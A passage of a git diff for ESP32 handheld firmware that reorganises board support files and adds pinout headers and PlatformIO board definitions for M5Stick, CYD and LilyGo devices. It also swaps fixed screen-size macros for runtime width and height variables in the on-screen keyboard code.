-DROTATION=3
- -DWIDTH=240
- -DHEIGHT=135
;TFT_eSPI Setup
-DUSER_SETUP_LOADED=1
diff --git a/boards/m5stack-cplus1_1.json b/boards/m5stack-cplus1_1.json
new file mode 100644
index 00000000..037fba13
--- /dev/null
+++ b/boards/m5stack-cplus1_1.json
@@ -0,0 +1,36 @@
+{
+ "build": {
+ "arduino": {
+ "ldscript": "esp32_out.ld"
+ },
+ "core": "esp32",
+ "extra_flags": [
+ "-DARDUINO_M5STICK_C_PLUS"
+ ],
+ "f_cpu": "240000000L",
+ "f_flash": "40000000L",
+ "flash_mode": "dio",
+ "mcu": "esp32",
+ "variant": "pinouts"
+ },
+ "connectivity": [
+ "wifi",
+ "bluetooth",
+ "ethernet",
+ "can"
+ ],
+ "frameworks": [
+ "arduino",
+ "espidf"
+ ],
+ "name": "M5Stick-C",
+ "upload": {
+ "flash_size": "4MB",
+ "maximum_ram_size": 327680,
+ "maximum_size": 4194304,
+ "require_upload_port": true,
+ "speed": 1500000
+ },
+ "url": "http://www.m5stack.com",
+ "vendor": "M5Stack"
+}
\ No newline at end of file
diff --git a/ports/m5stack-cplus1_1/interface.cpp b/boards/m5stack-cplus1_1/interface.cpp
similarity index 94%
rename from ports/m5stack-cplus1_1/interface.cpp
rename to boards/m5stack-cplus1_1/interface.cpp
index ac876d22..5e67a425 100644
--- a/ports/m5stack-cplus1_1/interface.cpp
+++ b/boards/m5stack-cplus1_1/interface.cpp
@@ -165,8 +165,8 @@ String keyboard(String mytext, int maxSize, String msg) {
{ '/', '/' } //12
}
};
- int _x = WIDTH/12;
- int _y = (HEIGHT - 54)/4;
+ int _x = tftWidth/12;
+ int _y = (tftHeight - 54)/4;
int _xo = _x/2-3;
int i=0;
@@ -184,12 +184,12 @@ String keyboard(String mytext, int maxSize, String msg) {
//Draw the rectangles
if(y<0) {
- tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor);
+ tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor);
tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle
tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle
tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle
tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); }
@@ -219,7 +219,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.setTextSize(FM);
// reseta o quadrado do texto
- if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle
+ if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle
// escreve o texto
tft.setTextColor(TFT_WHITE);
if(mytext.length()>19) {
@@ -235,7 +235,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.drawString(mytext, 5, 34);
}
//desenha o retangulo colorido
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
@@ -341,7 +341,7 @@ String keyboard(String mytext, int maxSize, String msg) {
}
//Resets screen when finished writing
- tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor);
+ tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor);
resetTftDisplay();
return mytext;
@@ -371,6 +371,6 @@ void checkReboot() {
}
// Clear text after releasing the button
delay(30);
- tft.fillRect(60, 12, WIDTH - 60, tft.fontHeight(1), TFT_BLACK);
+ tft.fillRect(60, 12, tftWidth - 60, tft.fontHeight(1), TFT_BLACK);
}
}
diff --git a/ports/m5stack-cplus2/platformio.ini b/boards/m5stack-cplus2.ini
similarity index 81%
rename from ports/m5stack-cplus2/platformio.ini
rename to boards/m5stack-cplus2.ini
index ed2673d8..53c617f5 100644
--- a/ports/m5stack-cplus2/platformio.ini
+++ b/boards/m5stack-cplus2.ini
@@ -9,29 +9,22 @@
; https://docs.platformio.org/page/projectconf.html
[env:m5stack-cplus2]
-platform = https://github.com/bmorcelli/platform-espressif32/releases/download/0.0.4/platform-espressif32.zip
-board = m5stick-c
-framework = arduino
+board = m5stack-cplus2
board_build.partitions = custom_8Mb.csv
board_build.f_flash = 40000000L
board_upload.flash_size = 8MB
board_upload.maximum_size = 8388608
-build_src_filter =${env.build_src_filter} +<../ports/m5stack-cplus2>
+build_src_filter =${env.build_src_filter} +<../boards/m5stack-cplus2>
build_flags =
${env.build_flags}
- -Iports/m5stack-cplus2
+ -Iboards/m5stack-cplus2
-DCORE_DEBUG_LEVEL=5
- -DBOARD_HAS_PSRAM
- -mfix-esp32-psram-cache-issue
- -mfix-esp32-psram-cache-strategy=memw
-
- -DSTICK_C_PLUS2=1
;Features Enabled
;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility
-DMIC_SPM1423=1 ;Applicable for SPM1423 device
;FM Radio
- -DFM_SI4713=1 ;Uncomment to activate FM Radio using Adafruit Si4713
+ -DFM_SI4713=1
-DFM_RSTPIN=0
-DPIN_CLK=0
-DI2S_SCLK_PIN=0
@@ -72,16 +65,13 @@ build_flags =
-DRF_TX_PINS='{ {"M5 RF433T", GROVE_SDA}, {"G26",26}, {"G25",25}, {"G0",0}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}'
-DRF_RX_PINS='{ {"M5 RF433R", GROVE_SCL}, {"G26",26}, {"G25",25}, {"G0",0}, {"Groove W", GROVE_SCL}, {"GROVE Y", GROVE_SDA}}'
- ; connection pins for CC1101 https://github.com/bmorcelli/io433/blob/master/platformio.ini
-DUSE_CC1101_VIA_SPI
-DCC1101_GDO0_PIN=25
-DCC1101_SS_PIN=SPI_SS_PIN
-DCC1101_MOSI_PIN=SPI_MOSI_PIN
-DCC1101_SCK_PIN=SPI_SCK_PIN
-DCC1101_MISO_PIN=SPI_MISO_PIN
- ;-DCC1101_GDO2_PIN=-1
- ; connections are the same as CC1101
-DUSE_NRF24_VIA_SPI
-DNRF24_CE_PIN=25
-DNRF24_SS_PIN=SPI_SS_PIN
@@ -89,19 +79,14 @@ build_flags =
-DNRF24_SCK_PIN=SPI_SCK_PIN
-DNRF24_MISO_PIN=SPI_MISO_PIN
- ;Battery ADC read pin
-DBAT_PIN=38
- ;Font sizes, depending on device
-DFP=1
-DFM=2
-DFG=3
- ;Screen Setup
-DHAS_SCREEN=1
-DROTATION=3
- -DWIDTH=240
- -DHEIGHT=135
-DBACKLIGHT=27
-DMINBRIGHT=160
diff --git a/boards/m5stack-cplus2.json b/boards/m5stack-cplus2.json
new file mode 100644
index 00000000..e81d57a0
--- /dev/null
+++ b/boards/m5stack-cplus2.json
@@ -0,0 +1,39 @@
+{
+ "build": {
+ "arduino": {
+ "ldscript": "esp32_out.ld"
+ },
+ "core": "esp32",
+ "extra_flags": [
+ "-DARDUINO_M5STICK_C_PLUS2",
+ "-DBOARD_HAS_PSRAM",
+ "-mfix-esp32-psram-cache-issue",
+ "-mfix-esp32-psram-cache-strategy=memw"
+ ],
+ "f_cpu": "240000000L",
+ "f_flash": "40000000L",
+ "flash_mode": "dio",
+ "mcu": "esp32",
+ "variant": "pinouts"
+ },
+ "connectivity": [
+ "wifi",
+ "bluetooth",
+ "ethernet",
+ "can"
+ ],
+ "frameworks": [
+ "arduino",
+ "espidf"
+ ],
+ "name": "M5Stick CPlus2",
+ "upload": {
+ "flash_size": "4MB",
+ "maximum_ram_size": 327680,
+ "maximum_size": 4194304,
+ "require_upload_port": true,
+ "speed": 1500000
+ },
+ "url": "http://www.m5stack.com",
+ "vendor": "M5Stack"
+}
\ No newline at end of file
diff --git a/ports/m5stack-cplus2/interface.cpp b/boards/m5stack-cplus2/interface.cpp
similarity index 94%
rename from ports/m5stack-cplus2/interface.cpp
rename to boards/m5stack-cplus2/interface.cpp
index 1d168a72..6752e0ec 100644
--- a/ports/m5stack-cplus2/interface.cpp
+++ b/boards/m5stack-cplus2/interface.cpp
@@ -56,13 +56,12 @@ int getBattery() {
** location: settings.cpp
** set brightness value
**********************************************************************/
-void _setBrightness(uint8_t brightval) {
- if(brightval>100) brightval=100;
- if(brightval == 0){
- analogWrite(BACKLIGHT, brightval);
+void _setBrightness(uint8_t brightval) {
+ if(brightval == 0){
+ analogWrite(TFT_BL, brightval);
} else {
- int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval/100 ));
- analogWrite(BACKLIGHT, bl);
+ int bl = MINBRIGHT + round(((255 - MINBRIGHT) * brightval /100 ));
+ analogWrite(TFT_BL, bl);
}
}
@@ -219,8 +218,8 @@ String keyboard(String mytext, int maxSize, String msg) {
{ '/', '/' } //12
}
};
- int _x = WIDTH/12;
- int _y = (HEIGHT - 54)/4;
+ int _x = tftWidth/12;
+ int _y = (tftHeight - 54)/4;
int _xo = _x/2-3;
int i=0;
@@ -238,12 +237,12 @@ String keyboard(String mytext, int maxSize, String msg) {
//Draw the rectangles
if(y<0) {
- tft.fillRect(0,1,WIDTH,22,bruceConfig.bgColor);
+ tft.fillRect(0,1,tftWidth,22,bruceConfig.bgColor);
tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle
tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle
tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle
tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
if(x==0 && y==-1) { tft.setTextColor(bruceConfig.bgColor, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); }
@@ -273,7 +272,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.setTextSize(FM);
// reseta o quadrado do texto
- if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,WIDTH-3,20,bruceConfig.bgColor); // mystring Rectangle
+ if (mytext.length() == 19 || mytext.length() == 20 || mytext.length() == 38 || mytext.length() == 39) tft.fillRect(3,32,tftWidth-3,20,bruceConfig.bgColor); // mystring Rectangle
// escreve o texto
tft.setTextColor(TFT_WHITE);
if(mytext.length()>19) {
@@ -289,7 +288,7 @@ String keyboard(String mytext, int maxSize, String msg) {
tft.drawString(mytext, 5, 34);
}
//desenha o retangulo colorido
- tft.drawRect(3,32,WIDTH-3,20,bruceConfig.priColor); // mystring Rectangle
+ tft.drawRect(3,32,tftWidth-3,20,bruceConfig.priColor); // mystring Rectangle
tft.setTextColor(TFT_WHITE, bruceConfig.bgColor);
@@ -395,7 +394,7 @@ String keyboard(String mytext, int maxSize, String msg) {
}
//Resets screen when finished writing
- tft.fillRect(0,0,WIDTH,HEIGHT,bruceConfig.bgColor);
+ tft.fillRect(0,0,tftWidth,tftHeight,bruceConfig.bgColor);
resetTftDisplay();
return mytext;
@@ -440,6 +439,6 @@ void checkReboot() {
// Clear text after releasing the button
delay(30);
- tft.fillRect(60, 12, WIDTH - 60, tft.fontHeight(1), TFT_BLACK);
+ tft.fillRect(60, 12, tftWidth - 60, tft.fontHeight(1), TFT_BLACK);
}
}
\ No newline at end of file
diff --git a/boards/pinouts/CYD-2432S028.h b/boards/pinouts/CYD-2432S028.h
new file mode 100644
index 00000000..a4a0cc22
--- /dev/null
+++ b/boards/pinouts/CYD-2432S028.h
@@ -0,0 +1,48 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include
+
+static const uint8_t TX = 1;
+static const uint8_t RX = 3;
+
+static const uint8_t SDA = 21;
+static const uint8_t SCL = 22;
+
+static const uint8_t SS = 5;
+static const uint8_t MOSI = 23;
+static const uint8_t MISO = 19;
+static const uint8_t SCK = 18;
+
+static const uint8_t A0 = 36;
+static const uint8_t A3 = 39;
+static const uint8_t A4 = 32;
+static const uint8_t A5 = 33;
+static const uint8_t A6 = 34;
+static const uint8_t A7 = 35;
+static const uint8_t A10 = 4;
+static const uint8_t A11 = 0;
+static const uint8_t A12 = 2;
+static const uint8_t A13 = 15;
+static const uint8_t A14 = 13;
+static const uint8_t A15 = 12;
+static const uint8_t A16 = 14;
+static const uint8_t A17 = 27;
+static const uint8_t A18 = 25;
+static const uint8_t A19 = 26;
+
+static const uint8_t T0 = 4;
+static const uint8_t T1 = 0;
+static const uint8_t T2 = 2;
+static const uint8_t T3 = 15;
+static const uint8_t T4 = 13;
+static const uint8_t T5 = 12;
+static const uint8_t T6 = 14;
+static const uint8_t T7 = 27;
+static const uint8_t T8 = 33;
+static const uint8_t T9 = 32;
+
+static const uint8_t DAC1 = 25;
+static const uint8_t DAC2 = 26;
+
+#endif /* Pins_Arduino_h */
\ No newline at end of file
diff --git a/boards/pinouts/ESP-General.h b/boards/pinouts/ESP-General.h
new file mode 100644
index 00000000..b0961c0d
--- /dev/null
+++ b/boards/pinouts/ESP-General.h
@@ -0,0 +1,69 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include
+#include "soc/soc_caps.h"
+
+#define USB_VID 0x303a
+#define USB_PID 0x1001
+
+// Some boards have too low voltage on this pin (board design bug)
+// Use different pin with 3V and connect with 48
+// and change this setup for the chosen pin (for example 38)
+#define PIN_RGB_LED 48
+// BUILTIN_LED can be used in new Arduino API digitalWrite() like in Blink.ino
+static const uint8_t LED_BUILTIN = SOC_GPIO_PIN_COUNT + PIN_RGB_LED;
+#define BUILTIN_LED LED_BUILTIN // backward compatibility
+#define LED_BUILTIN LED_BUILTIN // allow testing #ifdef LED_BUILTIN
+// RGB_BUILTIN and RGB_BRIGHTNESS can be used in new Arduino API rgbLedWrite()
+#define RGB_BUILTIN LED_BUILTIN
+#define RGB_BRIGHTNESS 64
+
+static const uint8_t TX = 43;
+static const uint8_t RX = 44;
+
+static const uint8_t SDA = 8;
+static const uint8_t SCL = 9;
+
+static const uint8_t SS = 10;
+static const uint8_t MOSI = 11;
+static const uint8_t MISO = 13;
+static const uint8_t SCK = 12;
+
+static const uint8_t A0 = 1;
+static const uint8_t A1 = 2;
+static const uint8_t A2 = 3;
+static const uint8_t A3 = 4;
+static const uint8_t A4 = 5;
+static const uint8_t A5 = 6;
+static const uint8_t A6 = 7;
+static const uint8_t A7 = 8;
+static const uint8_t A8 = 9;
+static const uint8_t A9 = 10;
+static const uint8_t A10 = 11;
+static const uint8_t A11 = 12;
+static const uint8_t A12 = 13;
+static const uint8_t A13 = 14;
+static const uint8_t A14 = 15;
+static const uint8_t A15 = 16;
+static const uint8_t A16 = 17;
+static const uint8_t A17 = 18;
+static const uint8_t A18 = 19;
+static const uint8_t A19 = 20;
+
+static const uint8_t T1 = 1;
+static const uint8_t T2 = 2;
+static const uint8_t T3 = 3;
+static const uint8_t T4 = 4;
+static const uint8_t T5 = 5;
+static const uint8_t T6 = 6;
+static const uint8_t T7 = 7;
+static const uint8_t T8 = 8;
+static const uint8_t T9 = 9;
+static const uint8_t T10 = 10;
+static const uint8_t T11 = 11;
+static const uint8_t T12 = 12;
+static const uint8_t T13 = 13;
+static const uint8_t T14 = 14;
+
+#endif /* Pins_Arduino_h */
\ No newline at end of file
diff --git a/boards/pinouts/_New-Device-Model.h b/boards/pinouts/_New-Device-Model.h
new file mode 100644
index 00000000..b732b5c3
--- /dev/null
+++ b/boards/pinouts/_New-Device-Model.h
@@ -0,0 +1,133 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include
+#include "soc/soc_caps.h"
+
+#define USB_VID 0x303a
+#define USB_PID 0x1001
+
+static const uint8_t TX = 43;
+static const uint8_t RX = 44;
+
+static const uint8_t TXD2 = 1;
+static const uint8_t RXD2 = 2;
+
+static const uint8_t SDA = 13;
+static const uint8_t SCL = 15;
+
+// Modified elsewhere
+static const uint8_t SS = -1;
+static const uint8_t MOSI = -1;
+static const uint8_t MISO = -1;
+static const uint8_t SCK = -1;
+
+static const uint8_t G0 = 0;
+static const uint8_t G1 = 1;
+static const uint8_t G2 = 2;
+static const uint8_t G3 = 3;
+static const uint8_t G4 = 4;
+static const uint8_t G5 = 5;
+static const uint8_t G6 = 6;
+static const uint8_t G7 = 7;
+static const uint8_t G8 = 8;
+static const uint8_t G9 = 9;
+static const uint8_t G10 = 10;
+static const uint8_t G11 = 11;
+static const uint8_t G12 = 12;
+static const uint8_t G13 = 13;
+static const uint8_t G14 = 14;
+static const uint8_t G15 = 15;
+static const uint8_t G39 = 39;
+static const uint8_t G40 = 40;
+static const uint8_t G41 = 41;
+static const uint8_t G42 = 42;
+static const uint8_t G43 = 43;
+static const uint8_t G44 = 44;
+static const uint8_t G46 = 46;
+
+static const uint8_t ADC1 = 7;
+static const uint8_t ADC2 = 8;
+
+#define FM_RSTPIN 40
+#define PIN_CLK 43
+#define I2S_SCLK_PIN 43
+#define I2S_DATA_PIN 46
+#define PIN_DATA 46
+
+#define RGB_LED 21
+
+#define BCLK 41
+#define WCLK 43
+#define DOUT 42
+
+#define BAD_TX GROVE_SDA
+#define BAD_RX GROVE_SCL
+
+#define HAS_BTN 0
+#define BTN_ALIAS '"Ok"'
+#define BTN_PIN 0
+#define BTN_ACT LOw
+
+#define IR_TX_PINS '{{"M5 IR Mod", GROVE_SDA}, {"Pin 1", 1}, {"Pin 2", 2}}'
+#define IR_RX_PINS '{{"M5 IR Mod", GROVE_SCL}, {"Pin 1", 1}, {"Pin 2", 2}}'
+#define LED -1
+#define LED_ON HIGH
+#define LED_OFF LOW
+
+#define RF_TX_PINS '{{"M5 RF433T", GROVE_SDA}, {"Pin 1", 1}, {"Pin 2", 2}}'
+#define RF_RX_PINS '{{"M5 FR433R", GROVE_SCL}, {"Pin 1", 1}, {"Pin 2", 2}}'
+
+#define CC1101_GDO0_PIN 9
+#define CC1101_SS_PIN 10
+#define CC1101_MOSI_PIN SPI_MOSI_PIN
+#define CC1101_SCK_PIN SPI_SCK_PIN
+#define CC1101_MISO_PIN SPI_MISO_PIN
+
+#define NRF24_CE_PIN 6
+#define NRF24_SS_PIN 7
+#define NRF24_MOSI_PIN SPI_MOSI_PIN
+#define NRF24_SCK_PIN SPI_SCK_PIN
+#define NRF24_MISO_PIN SPI_MISO_PIN
+
+#define FP 1
+#define FM 2
+#define FG 3
+
+#define HAS_SCREEN 1
+#define ROTATION 1
+#define MINBRIGHT 160
+
+#define USER_SETUP_LOADED 1
+#define USE_HSPI_PORT 1
+#define ST7789_2_DRIVER 1
+#define TFT_RGB_ORDER 1
+#define TFT_WIDTH 135
+#define TFT_HEIGHT 240
+#define TFT_BACKLIGHT_ON 1
+#define TFT_BL 38
+#define TFT_RST 33
+#define TFT_DC 34
+#define TFT_MOSI 35
+#define TFT_SCLK 36
+#define TFT_CS 37
+#define TOUCH_CS -1
+#define SMOOTH_FONT 1
+#define SPI_FREQUENCY 20000000
+#define SPI_READ_FREQUENCY 20000000
+#define SPI_TOUCH_FREQUENCY 2500000
+
+#define SDCARD_CS 12
+#define SDCARD_SCK 40
+#define SDCARD_MISO 39
+#define SDCARD_MOSI 14
+
+#define GROVE_SDA 2
+#define GROVE_SCL 1
+
+#define SPI_SCK_PIN 12
+#define SPI_MOSI_PIN 11
+#define SPI_MISO_PIN 13
+#define SPI_SS_PIN 10
+
+#endif /* Pins_Arduino_h */
\ No newline at end of file
diff --git a/boards/pinouts/lilygo-t-deck.h b/boards/pinouts/lilygo-t-deck.h
new file mode 100644
index 00000000..c08abae3
--- /dev/null
+++ b/boards/pinouts/lilygo-t-deck.h
@@ -0,0 +1,73 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include
+#include "soc/soc_caps.h"
+
+#define USB_VID 0x303a
+#define USB_PID 0x1001
+
+// Some boards have too low voltage on this pin (board design bug)
+// Use different pin with 3V and connect with 48
+// and change this setup for the chosen pin (for example 38)
+#define PIN_NEOPIXEL 48
+// BUILTIN_LED can be used in new Arduino API digitalWrite() like in Blink.ino
+static const uint8_t LED_BUILTIN = SOC_GPIO_PIN_COUNT+PIN_NEOPIXEL;
+#define BUILTIN_LED LED_BUILTIN // backward compatibility
+#define LED_BUILTIN LED_BUILTIN // allow testing #ifdef LED_BUILTIN
+// RGB_BUILTIN and RGB_BRIGHTNESS can be used in new Arduino API neopixelWrite()
+#define RGB_BUILTIN LED_BUILTIN
+#define RGB_BRIGHTNESS 64
+
+#define HAS_KEYBOARD //has keyboard to use
+#define HAS_KEYBOARD_HID //has keyboard to use
+#define KB_HID_EXIT_MSG "Mid Btn + Space to exit"
+
+static const uint8_t TX = 43;
+static const uint8_t RX = 44;
+
+static const uint8_t SDA = 8;
+static const uint8_t SCL = 9;
+
+static const uint8_t SS = 10;
+static const uint8_t MOSI = 11;
+static const uint8_t MISO = 13;
+static const uint8_t SCK = 12;
+
+static const uint8_t A0 = 1;
+static const uint8_t A1 = 2;
+static const uint8_t A2 = 3;
+static const uint8_t A3 = 4;
+static const uint8_t A4 = 5;
+static const uint8_t A5 = 6;
+static const uint8_t A6 = 7;
+static const uint8_t A7 = 8;
+static const uint8_t A8 = 9;
+static const uint8_t A9 = 10;
+static const uint8_t A10 = 11;
+static const uint8_t A11 = 12;
+static const uint8_t A12 = 13;
+static const uint8_t A13 = 14;
+static const uint8_t A14 = 15;
+static const uint8_t A15 = 16;
+static const uint8_t A16 = 17;
+static const uint8_t A17 = 18;
+static const uint8_t A18 = 19;
+static const uint8_t A19 = 20;
+
+static const uint8_t T1 = 1;
+static const uint8_t T2 = 2;
+static const uint8_t T3 = 3;
+static const uint8_t T4 = 4;
+static const uint8_t T5 = 5;
+static const uint8_t T6 = 6;
+static const uint8_t T7 = 7;
+static const uint8_t T8 = 8;
+static const uint8_t T9 = 9;
+static const uint8_t T10 = 10;
+static const uint8_t T11 = 11;
+static const uint8_t T12 = 12;
+static const uint8_t T13 = 13;
+static const uint8_t T14 = 14;
+
+#endif /* Pins_Arduino_h */
diff --git a/boards/pinouts/lilygo-t-embed-cc1101.h b/boards/pinouts/lilygo-t-embed-cc1101.h
new file mode 100644
index 00000000..3c690f69
--- /dev/null
+++ b/boards/pinouts/lilygo-t-embed-cc1101.h
@@ -0,0 +1,147 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+#define T_EMBED
+
+#include
+#include "soc/soc_caps.h"
+
+// Lite Version
+// #define LITE_VERSION 1
+
+// Main I2C Bus
+#define SPI_SS_PIN 8
+#define SPI_MOSI_PIN 9
+#define SPI_MISO_PIN 10
+#define SPI_SCK_PIN 11
+static const uint8_t SS = SPI_SS_PIN;
+static const uint8_t MOSI = SPI_MOSI_PIN;
+static const uint8_t SCK = SPI_MISO_PIN;
+static const uint8_t MISO = SPI_SCK_PIN;
+
+// Set Main I2C Bus
+#define GROVE_SDA 8
+#define GROVE_SCL 18
+static const uint8_t SDA = GROVE_SDA;
+static const uint8_t SCL = GROVE_SCL;
+
+
+// TFT_eSPI display
+#define ST7789_DRIVER 1
+#define USER_SETUP_LOADED
+#define USE_HSPI_PORT
+#define SMOOTH_FONT 1
+#define TFT_INVERSION_ON
+#define TFT_WIDTH 170
+#define TFT_HEIGHT 320
+#define TFT_BL 21
+#define TFT_MISO SPI_MISO_PIN
+#define TFT_MOSI SPI_MOSI_PIN
+#define TFT_SCLK SPI_SCK_PIN
+#define TFT_CS 41
+#define TFT_DC 16
+#define TFT_RST 40
+#define SPI_FREQUENCY 80000000
+#define SPI_READ_FREQUENCY 20000000
+
+// Display Setup
+#define HAS_SCREEN
+#define ROTATION 3
+#define MINBRIGHT (uint8_t) 1
+#define PIN_POWER_ON 15
+
+// Font Sizes
+#define FP 1
+#define FM 2
+#define FG 3
+
+// SD Card
+#define SDCARD_CS 13
+#define SDCARD_MISO SPI_MISO_PIN
+#define SDCARD_MOSI SPI_MOSI_PIN
+#define SDCARD_SCK SPI_SCK_PIN
+
+// NRF24 - Over QWIIC Port #2
+#define USE_NRF24_VIA_SPI
+#define NRF24_CE_PIN 43
+#define NRF24_SS_PIN 44
+#define NRF24_MOSI_PIN SDCARD_MOSI
+#define NRF24_SCK_PIN SDCARD_SCK
+#define NRF24_MISO_PIN SDCARD_MISO
+
+// CC1101
+#define USE_CC1101_VIA_SPI
+#define CC1101_GDO0_PIN 3
+#define CC1101_GDO2_PIN 38
+#define CC1101_SW1_PIN 47
+#define CC1101_SW0_PIN 48
+#define CC1101_SS_PIN 12
+#define CC1101_MISO_PIN SPI_MISO_PIN
+#define CC1101_MOSI_PIN SPI_MOSI_PIN
+#define CC1101_SCK_PIN SPI_SCK_PIN
+
+//PN532
+#define PN532_RF_REST 45
+#define PN532_IRQ 17
+
+// Mic
+#define PIN_CLK 39
+#define PIN_DATA 42
+
+// Speaker
+#define HAS_NS4168_SPKR
+#define BCLK 46
+#define WCLK 40
+#define DOUT 7
+#define MCLK PIN_CLK
+
+// Serial
+#define SERIAL_TX 43
+#define SERIAL_RX 44
+static const uint8_t TX = SERIAL_TX;
+static const uint8_t RX = SERIAL_RX;
+#define TX1 TX
+#define RX1 RX
+
+// Fuel Gauge
+#define USE_BQ27220_VIA_I2C
+#define BQ27220_I2C_ADDRESS 0x55
+#define BQ27220_I2C_SDA GROVE_SDA
+#define BQ27220_I2C_SCL GROVE_SCL
+
+// Encoder
+#define ENCODER_INA 4
+#define ENCODER_INB 5
+#define ENCODER_KEY 0
+#define HAS_BTN 1
+#define BTN_ALIAS '"Mid"'
+#define SEL_BTN ENCODER_KEY
+#define UP_BTN -1
+#define DW_BTN -1
+#define BK_BTN 6
+#define BTN_ACT LOW
+
+// IR
+#define LED 2
+#define RXLED 1
+#define LED_ON HIGH
+#define LED_OFF LOW
+
+#define RFID125_RX_PIN 44
+#define RFID125_TX_PIN 43
+// FM
+// #define FM_SI4713
+// #define FM_RSTPIN 40
+
+// RTC
+// #define HAS_RTC
+
+// RGB LED
+// #define HAS_RGB_LED
+// #define RGB_LED=21
+
+// BadUSB
+#define USB_as_HID 1
+// #define BAD_TX=GROVE_SDA
+//#define BAD_RX=GROVE_SCL
+
+#endif /* Pins_Arduino_h */
diff --git a/boards/pinouts/lilygo-t-embed.h b/boards/pinouts/lilygo-t-embed.h
new file mode 100644
index 00000000..d7aca8c2
--- /dev/null
+++ b/boards/pinouts/lilygo-t-embed.h
@@ -0,0 +1,132 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include
+#include "soc/soc_caps.h"
+
+// Lite Version
+// #define LITE_VERSION 1
+
+// Main I2C Bus
+#define SPI_SS_PIN 17
+#define SPI_MOSI_PIN 41
+#define SPI_MISO_PIN 40
+#define SPI_SCK_PIN 38
+static const uint8_t SS = SPI_SS_PIN;
+static const uint8_t MOSI = SPI_MOSI_PIN;
+static const uint8_t SCK = SPI_MISO_PIN;
+static const uint8_t MISO = SPI_SCK_PIN;
+
+// Set Main I2C Bus
+#define GROVE_SDA 44
+#define GROVE_SCL 43
+static const uint8_t SDA = GROVE_SDA;
+static const uint8_t SCL = GROVE_SCL;
+
+// TFT_eSPI display
+#define ST7789_DRIVER 1
+#define USER_SETUP_LOADED
+#define USE_HSPI_PORT
+#define SMOOTH_FONT 1
+#define TFT_WIDTH 170
+#define TFT_HEIGHT 320
+#define TFT_BL 15
+#define TFT_MISO -1
+#define TFT_MOSI 11
+#define TFT_SCLK 12
+#define TFT_CS 10
+#define TFT_DC 13
+#define TFT_RST 9
+#define TOUCH_CS -1
+#define SPI_FREQUENCY 40000000
+#define SPI_READ_FREQUENCY 20000000
+#define SPI_TOUCH_FREQUENCY 2500000
+
+// Display Setup#
+#define HAS_SCREEN
+#define ROTATION 3
+#define MINBRIGHT (uint8_t) 1
+#define PIN_POWER_ON 46
+
+// Font Sizes#
+#define FP 1
+#define FM 2
+#define FG 3
+
+// SD Card#
+#define SDCARD_CS 39
+#define SDCARD_MISO SPI_MISO_PIN
+#define SDCARD_MOSI SPI_MOSI_PIN
+#define SDCARD_SCK SPI_SCK_PIN
+
+// NRF24 - Over QWIIC Port #
+#define USE_NRF24_VIA_SPI
+#define NRF24_CE_PIN 44
+#define NRF24_SS_PIN 43
+#define NRF24_MOSI_PIN SDCARD_MOSI
+#define NRF24_SCK_PIN SDCARD_SCK
+#define NRF24_MISO_PIN SDCARD_MISO
+
+// CC1101#
+#define USE_CC1101_VIA_SPI
+#define CC1101_GDO0_PIN 44
+#define CC1101_SS_PIN 43
+#define CC1101_MISO_PIN SPI_MISO_PIN
+#define CC1101_MOSI_PIN SPI_MOSI_PIN
+#define CC1101_SCK_PIN SPI_SCK_PIN
+
+// Mic#
+#define MIC_SPM1423
+#define PIN_CLK 21
+#define PIN_DATA 14
+
+// Speaker#
+#define HAS_NS4168_SPKR
+#define BCLK 7
+#define WCLK 5
+#define DOUT 6
+#define MCLK 39
+
+// Serial
+#define SERIAL_TX 43
+#define SERIAL_RX 44
+
+#define BAT_PIN 4
+
+
+// Encoder
+#define ENCODER_INA 2
+#define ENCODER_INB 1
+#define ENCODER_KEY 0
+#define HAS_BTN 1
+#define BTN_ALIAS '"Mid"'
+#define SEL_BTN ENCODER_KEY
+#define UP_BTN 1
+#define DW_BTN 1
+#define BTN_ACT LOW
+
+// IR
+#define LED 44
+#define RXLED 43
+#define LED_ON HIGH
+#define LED_OFF LOW
+
+// RF Module
+
